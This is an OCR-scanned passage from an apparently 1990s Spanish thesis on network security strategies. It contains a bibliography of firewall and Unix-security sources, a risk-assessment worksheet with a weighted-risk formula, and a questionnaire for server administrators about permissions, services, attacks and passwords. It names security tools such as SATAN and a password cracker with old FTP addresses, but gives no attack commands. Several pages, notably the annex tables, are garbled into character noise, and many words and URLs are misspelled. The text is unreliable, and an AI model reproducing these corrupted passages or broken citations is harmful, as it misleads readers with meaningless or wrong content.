[11] William Cheswick, "An Evening with Berferd In Which a Cracker is Lured, Endured, and Studied", USENIX proceedings, Jan 20, 1990. A vailable for FTP from research.att.com:/dist/internet_security/berferd.ps

[ 12] William Cheswick, "The Design of a secure Internet Gateway", Proceedings of the 3rd USENIX Security Simposium, September 1992.

[13] Marcus J. Ranum, "Thinking about Firewalls", proceedings of the 2nd World Conference on Systems Management and Security (SANSII), 1993.Available for FTP form: ftp.tis.com:/pub/firewalls/firewall.ps.Z

[14] "Network Security Consulting", TIS: Trusted Inforrnation Systems.

[15] "Firewall User's Overview", TIS: Trusted Information Systems.

[16] "TIS Firewall Toolkit Overview", TIS: Trusted Inforrnation Systems.

[17] "TIS Firewall Toolkit Configuration and Administration", TIS: Trusted Inforrnation Systems.

[ 18] Solbourne Computer, Inc., "Comandos".

[19] Internet Firewall Frequently Asked Questions ( FAQ's)

[20] "Final Text of DIS 7498-2 do Informacion Processing Systems Security Architecture", Security Editing Meeting.

[21] "Orange book", Assistant Secretary of defense.

[22] Morrie Gasser, "Buiding a secure computer system".

123

Page 132: Estrategias para incrementar la seguridad de una red

Referencias

[23] F. Avolio & Marcus J.R., "A network perimeter with secure externa! access", Internet Society Simposium on Distributed Security ., 1994.

[24] Stephen M. Bellovin and William Cheswick, "Firewalls and Internet Security: Repelling the Willy Hacker", Addison-Wesley.

[25] Dan Fanner, "COPS and Robbers, UNIX System Security", Available for FfP from: c ert.sei.cmu.edu:/pub/cops

[26] Mark W. Eichin and Jon A. Rochlis, "With Microscope & Tweezers:An Analisis of the Internet Virus ofNovember 1988", MIT, February, 1989.

[27] Eugene H. Spafford, "The Internet Worm Incident", Technical Report CDS-TR-933, Department of Computer Sciences, Purdue Univesity, September 1991.

[28] R.López., F. Camargo,A. Aceves, "Internet: La red más grande del mundo", LCE DIC, ITESM CEM, 1995.

[29] A. Aceves, R.López, F. de la Mora, L. Trejo y L. Vázquez, "Internet Security: Design Principie and Implementations Tools", CLEI PANEL '95.

[30] [Sun88a, 1724-1725]

[31] [Sun88a, 1606-1607]

[32] SATAN: ftp://ftp.super.unam.mx/pub/security/tools/satan.tar.g

[33] "Hobbes Internet Time Line", Robert Hobbes Zakon, The MITRE Corporation.

[34] The Internet Society, Página hogar: http://www.isoc.org

[35] Karanjit S. Siyan y Chris Hare, "Internet y la Seguridad en Redes", Prentice Hall, 1995.

[36] Alfredo De Regil, ITESM Monterrey.

[37] "The history of the Net", Disponible por FfP anónimo en: http://www. ocean.ic.net/ftp/ doc/nethist.html ftp://ftp. ocean.ic.net/pub/doc/ nethist.html

[38] "Department of Defense Password Management Guideline", 12 Abril, 1995.

[39] P.Holbrook, J. Reynolds, "Site Security Handbook", RFC 1244, 1991

[40] De la Mora Salazar, Federico, "Introducción a los Sniffers y al modo promiscuo de la Interfaces ethernet", ITESM CEM, 1995.

[41] Steven M. Bellovin y Michael Merritt, "Encrypted Key Exchange: Password-Based Protocols Secure Against Dictionary attacks", AT&T Bell Laboratories.

[42] John P. Wack y Lisa J. Carnahan, "Keeping your site Comfortably Secure: An Introduction to Internet Firewalls", NIST U.S. Department ofCommerce Special Publication 800-10.

124

Page 133: Estrategias para incrementar la seguridad de una red

Referencias

[43] Dan Farmer, Wietse Venema, "Improving the Security of your site by Breaking Into it".

[44] Ricardo López y Adolfo Aceves, "Configuración e Instalación del Firewall de TIS, para la protección de una red local Ethernet", ITESM CEM, RT-9502.

[45] "The Kerberos Network Authentication Service", RFC1510, Digital Equipment Corporation, 1993.

[46] Mapa de Internet: Disponible por FTP anónimo en: ftp://ftp.cs.wisc.edu

[47] Mapa de México: Displonible por ftp anónimo en: http://www.mty.itesm.mx/MexWeb/Mapa2

[ 48] Mapa del ITESM: Curso de Internet Organizado por el Departamento de Desarrollo Académico en coordinación con la Rectoría Zona Sur del ITESM. I 995.

[49] Mapa del ITESM CEM: Curso de Internet Organizado por el Departamento de Desarrollo Académico en coordinación con la Rectoría Zona Sur del ITESM. I 995.

[50] Mapa de la Red de los Laboratorios de Cómputo Especilizado: Provisto por personal de soprte de los Laboratorios de Cómputo Especializado de los Departamentos de Ciencias Computacionales y Sistemas de información del ITESM CEM, I 996.

[51] Password Cracker disponible por FTP anónimo en : ftp.cert.org://pub/tools/crack

[52] HASSUI: Herramienta para la Administración de la Seguridad de Sistemas Unix en Internet.

[53] TCP Wrapper disponible por FTP anónimo en: ftp://cet.sei.cmu.edu/pub/network_tools/tcp _ warapper* .shar .z

[54] Trusted Information Systems(TIS): ftp://ftp.tis.com

[55] Pretty Good Privacy disponible por FTP anónimo en: ftp.ifi.uio.no://pub/pgp/src.

[56] Tripwire disponible por FTP anónimo en: http://cs-www.ncsl.nist.gov/software/tripwire/

[57] W. Diffie and M.E. Hellman. Exhaustive cryptanalysis of the NBS Data Encryption Standard. Computer, 10:74--84, 1977.

[58] M.E. Hellman. A cryptanalytic time-memory trade off. IEEE Transactions on Inforrnation Theory, IT-26:401--406, 1980.

[59] M.J. Wiener. Efficient DES key search. August 20, 1993. Presentada en Crypto '93 rump session.

125

Page 134: Estrategias para incrementar la seguridad de una red

Anexos

Anexos:

A: Hoja de trabajo para desarrollar un planteamiento de seguridad. (Ref.[35]).

A.1: Significado de la hoja de trabajo para desarrollar un planteamiento de seguridad.

B: Hoja de trabajo para el análisis del riesgo de seguridad en la red. (Ref. [35]).

B .1 : Significado de la hoja de trabajo para el análisis del riesgo de seguridad en la red. (Ref. [35]).

C: Análisis del ambiente global.

C .1 : Datos de la subred.

C.2: File systems.

C. 3: Configuración Inicial.

C.4: Servicios.

C.5: Ataques y seguridad del sistema.

C. 6: Operación normal.

(]. r ,- _,... ri e ) ; ::) :.:::> t- L

126

Page 135: Estrategias para incrementar la seguridad de una red

Anexo A

Rel.(35) Hoja de trabajo para desarrollar un planteamiento de seguridad.

Hardware· Recursos de la red Tipo de usuarios Posibilidad de Medidas a implantar para

Número Nombre Importancia del Recurso indeseables unaamenaze proteaer los recursos de red

Page 136: Estrategias para incrementar la seguridad de una red

Ref:(35) Columna: Número de recurso en la red:

Es un número de red de identificación interna del recurso a ser protegido.

Nombre de los recursos de la red: Descripción del recurso.

Importancia de recurso: Debe asignarse de acuerdo a una escala de 0.1 a 1, dónde 1 es el más importante y 0.1 el menos importante.

Tipos de usuarios Indeseables: Especificar con los siguientes calificativos: interno, externo, huesped, nombre del grupo, asistente, etc ...

Posibilidad de una amenaza: Debe estar dentro de una escala numérica de 1 a 1 O, donde 1 es bajo y 1 O es muy alto.

Medidas a Implantar para proteger recursos de red: Puede tener valores como: permisos del Sisitema Operativo, para archivos,directorios; pistas de alerta para servicios de red, listas de acceso o firewalls para hosts y dispositivos de red; Mecanismo de seguridad asociado al recurso para su debida protección.

Page 137: Estrategias para incrementar la seguridad de una red

z C:· 3 (D a

:o

l1l e: L

LL

-l-.

..!-.

..i-i

--1-

---.

i~~~

t-+-

+-+-

+++-

t-t-

t--i

---1

rt-t

-t-t

-1""

"'1

~ c.

(D

¡¡¡-

f ~

O'

¡¡¡

JJ ~

:1:'b

0

C.11

'¡¡-"

-:-:'

c.

CD - iil C"

DI o·

-g ; !.

DI ::::,

!!: iñ

c.

!.

.., ¡¡· en ce

0 c.

CD

en CD

ce

e .., e: DI c.

CD

::::, i»

¡:¡; ?-

)>

::,

CD

)(

o Cil

Page 138: Estrategias para incrementar la seguridad de una red

Ref.(35] Columna:

Anexo B.1

Número de recurso en la red: Es un número de red de identificación interna del recurso a ser protegido.

Nombre de los recursos de la red: Descripción del recurso.

Riesgo para los recursos de red (RI): Deberá estar en una escala numérica del 1 al 1 O, donde 1 es muy bajo y 1 O muy alto.

Peso (Importancia) del recurso (WI): Deberá estar en una escala numérica del 1 al 1 O dónde 1 es poco importante y 1 O es muy importante.

Riesgo evaluado ( Ri*WI): Es el producto de los valores riesgo y peso, el resultado nos va a permitir tener una visión numérica del riesgo que se ha evaluado en el recurso.

Fórmula para calcular el riesgo general de los recursos de la red:

WR = (R1*W1 + R2*W2 + ......... + Rn*Wn) / ( W1 + W2 + ......... + Wn)

n

L i=1

( Ri*Wi) Wi

Page 139: Estrategias para incrementar la seguridad de una red

AnexoC

Análisis del Ambiente Global.

Observaciones:

Lea completa y cuidadosamente las observaciones, notas y preguntas de este cuestionario.

En caso de que no alcance el espacio para contestar algunas preguntas abiertas, incluídas en este cuestionario, favor de ocupar el espacio en blanco de la parte posterior de la hoja.

Asegurese que le hayan dado el número de copias de este cuestionario, correspondiente al número de servidores que administra.

Asegurese que el número de hojas sea igual a siete ( 7 ), incluyendo ésta.

Si administra más de un servidor:

- Es importante llenar cada cuestionario por separado, es decir, cada cuestionario es una entidad independiente.

Es importante que llene el cuestionario con la mayor objetividad y honestidad posible, ya que de ésto depende el éxito de este análsis. _____________ _

1 .....u

~

Agradecemos de antemano las facilidades y tiempo prestados para resolver este cuestionario.

Gracias. Atte: secinter.

1 U-

r Nota: Sabemos que la información que nos proporcione es valiosa, se compromete a hacer uso confidencial de dicha información. Gracias.

por lo que el equipo de seguridad

El número de hojas incluyendo ésta es de : 7 (siete).

Page 140: Estrategias para incrementar la seguridad de una red

..... Datos de la S ubred:

Nombre Dominio:

Dir. IP

Nombre del Adminislr ador:

Localización F í sea de las Estaciones:

..... Plataformas:

AnexoC.l

Núm. de Estaciones que atiende el servidor : ( Sin contar el servidor )

Ü 1 -5 Ü 6-10 Ü 11 - 15

Ü 16 - 20 Ü 21 - 25 Ü 26 - 30

Ü 31 - 35 O Más de 36

DHP

DPS

D SUN

D NeXT

D SPl

D Otras:

0 RS/6000

------

..... Servidor:

Nombre: -l.__ __________ __,

Dir. IP: l ..... _______ ___, Localización F í sica:I ._ ______ ____,

..... Es servidor de:

D DD Alumnos D DD Advas. D NIS D Paquetería

D Correo Electrónico D Name Server D Cuentas de Alumnos D Novell

,_ , .. . '" .. » -?--.• , f.:,

Número de cuentas locales: l.___ ___ __,

Está conectado Directamente a I nlerne ? D Otros: ____________ _

Ü Si O No

Número de usuarios con privilegios Frecuencia de Respaldos: Especiales: 1 1 D Hrs. D Días O Meses D Años

Page 141: Estrategias para incrementar la seguridad de una red

E xpo1ta 11File systems11 ?

File •-'·--·u-·~··•·•••----•"•••-'"'"" •w•·•··-·•·--"-"''' •• • .,._, __ ,,,, .. ,_ ••"'. ,_,.,,,__., ••·•••·----~·~•"" """••··-•~-··•-""

System:

-------~

·--··-·······--·--................... - ... ·-·---------·-------··-------

1 mpo1ta 11File S ystems11 ?

[ __ Nombre del 11 = Servidor .,

File System:

AnexoC.2

File ..... ----·--....... ·--··- - Sy ---- ----l _____ ,._._. __ ~------------ ·--·---

···--··· . _,. ___________________ _

11 F arma de montaje 1

· 1 moJJnt II aJJtomount 1 ·

-·-~------·-.,,---------------------- ------···-----------11------------------11--------------- .. -11 .. ----.. -- 11---------11---------1

,---·-·=·

I· ·-----···---···"'""' 11···-·-·······-·----.. --.--.. -------------· -11,----·----·••---------

I·-·----.............................. 11 ........... ·-·-···---- -------- ... _ .. _ .. ··ll-----··---·lt----------1

·-----······---·--.. ll·····--------·---------------------11--------11 .. ----------1 ....

11 · ........................................ --......... - ............ _ ........ - .. · ·--·-·-·····--- .. 11 ··----.......... ·-·----11----··-....... _ .. ___ ._ .. .

...... ,,,,-·-··----.. ------ --------- 11 -----11---

.......... ····--------- --- --·----.. --.--·-··---------11-------- n--------···----·--·· ....... .. - .......... -,.·-·-· ------- ·----··----11--------11--------

11111•

Page 142: Estrategias para incrementar la seguridad de una red

AnexoC.3

Configuración inicial:

Configuración que resulta después de la instalación inicial: •·••·,.·w········ - ·-_..,_, ,..,_ .,.. , •. , , .. -, ... , .. ........ _ .... ........ _. ______ ____ ,., ·- -,--.. ·-- ·····-·-···--·----- ---- ---·-··- ·· .... ._ ····------· -- -archivos owner ~rot1-p world - ________ _,_-

usuarios rw x r w x rw x --·-··-·-- ·-···

root rw x rw x rw x ···· ·- ·- ··· - ·-· ··-

.. ,, _____ ..,_ ,,, ..... , .. _______________ ··------ ------- ·. . ·---··--·-·- _,, __ _______________

_e~sswd rw x r w x rw x

Valores que deia en los archivos:

.rhosts ho st. equiv

servidor cuenta. servidor cuenta.

¿ O ué hace usted para que la información que maneia el archivo etc/passwd no sea utilizada por hackers?

1 1

I IIIBillf.1111 e::;:;

Page 143: Estrategias para incrementar la seguridad de una red

AnexoC.4

Servicios

Cualquiera lo Lo pueden uso exclusivo núm. s:es:iones: ha s:ido s:usti tui do

Activado puede usar usar operadores: de root penni ti.das: por otro pgma?

1 rlogin 1 11 11 11 11 11 1

ftp

telnet

finger

rexec

rah

(anonymous ftp

1 tftp

Frecuencia con la que se depura el archivo _ rhosls de cada usuario:

O hrs. O días. O meses

Frecuencia con que se depura el archivo hosl. equiv:

O hrs. O días. O meses

l••••t

Page 144: Estrategias para incrementar la seguridad de una red

AnexoC.5

Ataques al sistema

No. de Ataques que detecta en promedio al mes? :

O O - 5 O 6 - 1 O O 11 - 15 O 16 - 20 O Más de 20

Efectos del ataque

D Borrar Información D Suplantar Identidades D Crear Archivos D Observar Información D Modificar Información

D Otros: ------------------------

¿ Sabe cómo el atacante ha logrado enlr ar a su sistema ?

¿ Cuáles son los ataques más comunes que ha observado ?

Seguridad Utiliza alguna herramienta de seguridad ?

Ü Si Ü No

¿Cuál?

D COPS D Etherfind D SA TAN D T ripwire

D TIGER

D Otra? -----¿ Tiene instalado el II audit11 de UN IX ?

Ü Si Ü No

!•-1 ,,,,,·,.,.. ·< .'< "ª ·· ,>_ , . • ;;

Page 145: Estrategias para incrementar la seguridad de una red

AnexoC.6

Operación Normal

¿ Qué considera usted un abuso .. por parle del usuario .. que repercuta en el desempeño adecuado del sistema ? .. explique. __

Las poi ílicas que maneia par a controlar el préstamo de cuentas y archivos entre usuarios .. tienen que ver con:

D fomentar el uso de flp

,_

D uso de e-mail par a compartir archivos D crear grupos de tr abaio en UN IX. D no hay ninguna poi ílica establecida LJ crear cuentas comunes para Grupos de T r abaio. D permitir que los usuarios se presten el password D Los usuarios se copian archivos entre sí.

D [ O lros: ·························································································1

Procedimiento a seguir par a que un usuario cambie su password:

Paso 11 Paso 12

------------------------

Paso 13 Paso 14

Tiempo de espera máximo par a que el usuario vea la actualización en todos los servidores: ____ _